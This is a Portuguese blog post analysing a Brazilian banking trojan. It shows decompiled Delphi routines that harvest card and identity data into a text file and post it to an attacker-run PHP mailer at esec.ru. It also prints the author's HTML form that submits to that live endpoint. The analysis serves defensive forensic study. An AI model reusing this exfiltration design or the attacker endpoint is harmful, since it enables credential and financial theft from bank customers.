No artigo anterior apresentei a análise do arquivo Real-SecureWeb.exe e vimos que se tratava de um malware banker tentando capturar informações dos clientes do banco Real Santander. Para uma melhor compreensão dessa segunda parte sugiro a leitura da anterior.
Conforme foi constado nos logs capturados pelo Process Monitor, o arquivo Real-SecureWeb.exe descompactava e executava dois arquivos: Real.exe e Reals.exe.
E ainda, o arquivo Real.exe gerava um outro chamado indentificando.txt. Isso mesmo, INdentificando, só agora notei essa grafia errada que foi utizada para nomear o arquivo. Isso por sinal é uma constante nesse malware, palavras escritas erradas e expressões chulas.
Vejamos agora a análise de cada um desses três arquivos.
1) Real.exe
O primeiro passo é descobrir se o executável possuí algum compactador (packer), fiz isso utilizando o RDG Packer Detector.
Não foi encontrado nada, identificou a linguagem de programação Borland Delphi v6.0 ou v7.0. Outro detalhe interessante que o RDG apresentou corretamente foi a origem do malware.
Sabendo que é Delphi, podemos tentar a descompilação com o DeDe, que costuma apresentar bons resultados como por exemplo Forms, Units e Eventos recuperados.
Ao submeter o arquivo Real.exe ao DeDe foi identificado o nome do projeto “dragon”, também encontrou um Form chamado “dilma” (!), a Unit chamada “orion” e alguns nomes de componentes. Isso pode ser visto na imagem abaixo.
Sabemos que o Real.exe é responsável por apresentar as telas do malware onde as vítimas digitam os dados e também vimos no artigo anterior que ele cria o arquivo indentificando.txt através dessas diretivas:
03:10:45,1509465,"Real.exe","CreateFile","C:\indentificando.txt"
03:10:45,1523162,"Real.exe","WriteFile","C:\indentificando.txt" 03:10:45,1529191,"Real.exe","CloseFile","C:\indentificando.txt"
No código descompilado não foi possível encontrar esse caminho do arquivo indentificando.txt, isso porque a string está criptografada com uma função interna do malware, através do debug seria possível localizá-la.
Porém, no código há algumas pistas do que esse arquivo pode conter, no Form “dilma” existe um botão “Confirmar” que possui atríbuído ao evento OnClick uma procedure chamada “vaiClick”:
procedure Tdilma.vaiClick(Sender : Tobject);
Nessa procedure, dentre outras coisas, existe a captura de todos os dados que foram digitados nos campos do formulário (componentes TEdit) e ao final esses dados são atribuídos a um componente TMemo que foi nomeado de forma bem culta, “xupameupinto”.
Tdilma.xupameupinto : TMemo
O que se segue são sequências de funções que atribuem ao componente TMemo linhas que contêm um rótulo e a informação que a vítima digitou.
Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : Tstrings
Possible String Reference to: '********************************'
Reference to method Tstrings.Add(string)
Reference to method TStrings.Add(string)
Reference to control Tdilma.a3 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'AG..........:'
Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.a4 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'Cont........:'
Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.CC : TcomboBox
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'bandeira....:'
Essa sequência se repete para todos os campos Edits, até que no final é utilizado o método Tstrings.SaveToFile(string) e é passada como parâmetro uma string criptografada, que deve ser o caminho “C:\indentificando.txt”.
Possible String Reference to: 'GpfSQMvaPMvqQMPfOs5kP6ykT7Xq'
Reference to: System.@LStrToPChar(String):PAnsiChar;
Reference to method TStrings.SaveToFile(string)
Possible String Reference to: 'Obrigado por sua atenção o Banco Real Santander agradece.'
2) indentificando.txt
Ao analisar o arquivo indentificando.txt foi encontrado esse conteúdo:
******************************** AG..........:1111 Cont........:1111111 bandeira....:Visa CC..........:1111-1111-1111-1111 vencimento..:1/2014 Senha/3.....:111 disk........:1111 ********************************************** Dados Confirmação CPF..........................:111.111.111-11 RG...........................:111111111111 Naturalidade.................:aaaaaaaaaa Nome do Pai..................:aaaaaaaaaaa Estado Civil.................:aaaaaaaaaaaaaa nome do corno................:aaaaaaaaaa escolaridade.................:Pós-Graduação formado......................:aaaaaaaaa Profissão....................:aaaaaaaaaa Empressa Atual...............:aaaaaaaaaaaa Empresa quando abriu conta...:aaaaaaaaa Tempo de conta...............:aaaaaaaaaaaa ********************************************** |
A Imagem abaixo mostra isso:
O conteúdo corrobora o que foi encontrado nos códigos do Delphi no arquivo Real.exe.
3) Reals.exe
A análise do nosso terceiro arquivo seguiu o mesmo esquema do anterior. Foi identificada a linguagem Delphi e depois feita a descompilação com o DeDe.
Dessa vez o projeto foi nomeado como “pugaaqui”, o Form “bobiodanco” e a Unit “unidosvaiser”.
Destaque para os nomes dos componentes e procedures da Unit:
carregasualma: TMemo;
tempobom: TTimer;
amuandomtu: TIdHTTP;
procedure goldeletra(Sender : TObject);
procedure tempobomTimer(Sender : TObject);
Vejamos o que a procedure tempobomTimer faz.
procedure Tbobiodanco.tempobomTimer(Sender : TObject);
begin
Possible String Reference to: 'C:\indentificando.txt'
Reference to: SysUtils.FileExists(AnsiString):Boolean;
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to field TMemo.Lines : TStrings
Possible String Reference to: 'C:\indentificando.txt'
Reference to method TStrings.LoadFromFile(string)
Reference to bobiodanco
Reference to : Tbobiodanco.goldeletra()
end;
Basicamente lê o arquivo indentificando.txt, atribui seu conteúdo ao TMemo e chama a procedure goldeletra.
Vejamos a goldeletra agora.
procedure Tbobiodanco.goldeletra(Sender : TObject);
begin
***** TRY
Reference to class TStringList
Reference to: System.TObject.Create(TObject;Boolean);
Reference to bobiodanco
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Put(Integer,string)
Possible String Reference to: 'praque=xxxxxx@gmail.com,yyyyyyy@gmail.com'
Reference to method TStringList.Add(string)
Possible String Reference to: 'titul=xxxxxxxxxxxx'
Reference to method TStringList.Add(string)
Reference to bobiodanco
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'text='
Reference to: System.@LStrCat3;
Reference to method TStringList.Add(string)
***** TRY
Reference to bobiodanco
Reference to control Tbobiodanco.amuandomtu : TIdHTTP
Possible String Reference to: 'http://esec.ru/upload/noro.php'
Reference to bobiodanco
Reference to control Tbobiodanco.tempobom : TTimer
Reference to: ExtCtrls.TTimer.SetEnabled(TTimer;Boolean);
****** FINALLY
Reference to bobiodanco
Reference to control Tbobiodanco.amuandomtu : TIdHTTP
Reference to: System.TObject.Free(TObject);
Reference to: System.TObject.Free(TObject);
Possible String Reference to: 'C:\indentificando.txt'
Reference to: Grids.TInplaceEdit.Visible(TInplaceEdit):Boolean;
Reference to TApplication instance
Reference to: Forms.TApplication.Terminate(TApplication);
Reference to: System.@HandleFinally;
****** END
****** FINALLY
end;
Vemos aqui quanta informação útil o DeDe conseguiu recuperar através do processo de descompilação do executável.
Essa procedure goldeletra atribui dois endereços de e-mail para a variável “praque”, atribui um título qualquer para a variável “titul” e atribui o conteúdo do componente TMemo para a variável “text”.
Depois através de um componente de conexão HTTP se conecta ao endereço “http://esec.ru/upload/noro.php”. Por fim libera os componentes utilizados.
Então assim como constatei na análise da fraude do iToken Itaú, esse malware utiliza uma página PHP para enviar por e-mail para os fraudadores os dados furtados.
Para testar esse procedimento de envio de e-mail primeiro tentei passar o conteúdo das variáveis pela URL através do método GET digitando no navegador:
http://esec.ru/upload/noro.php?praque=rplmetal@ig.com.br&titul=assunto&text=qualquercoisa
Isso não funcionou, lembrei então que na fraude do iToken era utilizado o método POST de envio de variáveis, assim só poderia enviar as informações através de um formulário HTML.
Criei o formulário HTML com esse código:
<form name="form1" method="post" action="http://esec.ru/upload/noro.php">
Email: <input type="text" name="praque" size="40"><br><br>
Assunto: <input type="text" name="titul" size="40"><br><br>
Texto: <input type="text" name="text" size="40"><br><br>
<input type="submit">
</form>
E enviei com os campos preenchidos conforme a imagem abaixo:
Após clicar no botão Enviar fui conferir meu e-mail para ver se havia chegado a mensagem. Conforme o esperado isso realmente aconteceu:
Conclusão
Ao analisar as duas partes desse artigo nota-se que esse malware é bem direto e objetivo. Executa, solicita as informações, envia por e-mail e depois apaga tudo (tenta pelo menos). Não faz nenhuma modificação no computador além dessas.
O comportamento dele me lembrou do programa utilizado para enviar a declaração de Imposto de Renda. No sistema da Receita Federal utiliza-se um programa para preencher a declaração e salvar no computador e outro (ReceitaNet) para enviar pela Internet.
A mesma coisa acontece com esse golpe, em um programa preenche-se a “declaração” para o fraudador e é salva no computador e o outro envia a “declaração”.
Vimos que com o uso de variadas técnicas e ferramentas podemos obter valiosas informações sobre o comportamento dos malwares.
Comentários?
Comentário enriquecedor feito pelo Rodrigo Lima:
Esse tipo de malware é conhecido no underground dos criminosos como "Módulo de Controle". O objetivo final é obter êxito na fraude através do canal de telefônia existente no Banco Real chamado Disque Real.
Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.
Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(
Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.
Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(
Mais análises de golpes pela Internet nesse link: Fraudes Bancárias.
Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet
Olá, Ronaldo!
ResponderExcluirO utilitário RDG Packer Detector não pode ser utilizado em perícias forenses, tendo em vista que é identificado como malware por várias empresas de segurança. Ex: http://goo.gl/RzHNV
Att,
Panda
Olá Panda,
ResponderExcluirNão sabia disso, obrigado pela dica!
Em relação a esse artigo poderia ser utilizado o PEiD que conseguiria o mesmo resultado, e esse é bastante aceito no meio.
Abraço!
Ronaldo,
ResponderExcluirEsse tipo de malware é conhecido no underground dos criminosos como "Módulo de Controle" o objetivo final é obter êxito na fraude através do canal de telefônia existente no Banco Real chamado Disque Real.
Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.
Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(
Forte Abraço,
Rodrigo Lima
Olá Rodrigo,
ResponderExcluirMuito obrigado pelo seu comentário, enriqueceu bastante o post. Vou adiciona-lo ao artigo ok.
Abraço!
Ronaldo
Ronaldo, o "RDG Packer Detector" não possui link para download no site oficial do utilitário. Incomum, não? Quando a atualização é efetuada a partir do próprio utilitário, onde são baixados os arquivos de atualização?
ResponderExcluirAnônimo,
ResponderExcluirMuito estranho mesmo, não encontrei o link também.
A atualização é feita através desses dois endereços:
http://www.RDGSoFT.8k.com/Actualizacion/
http://www.egrupos.net/grupo/rdgsoft/ficheros/
Abraço!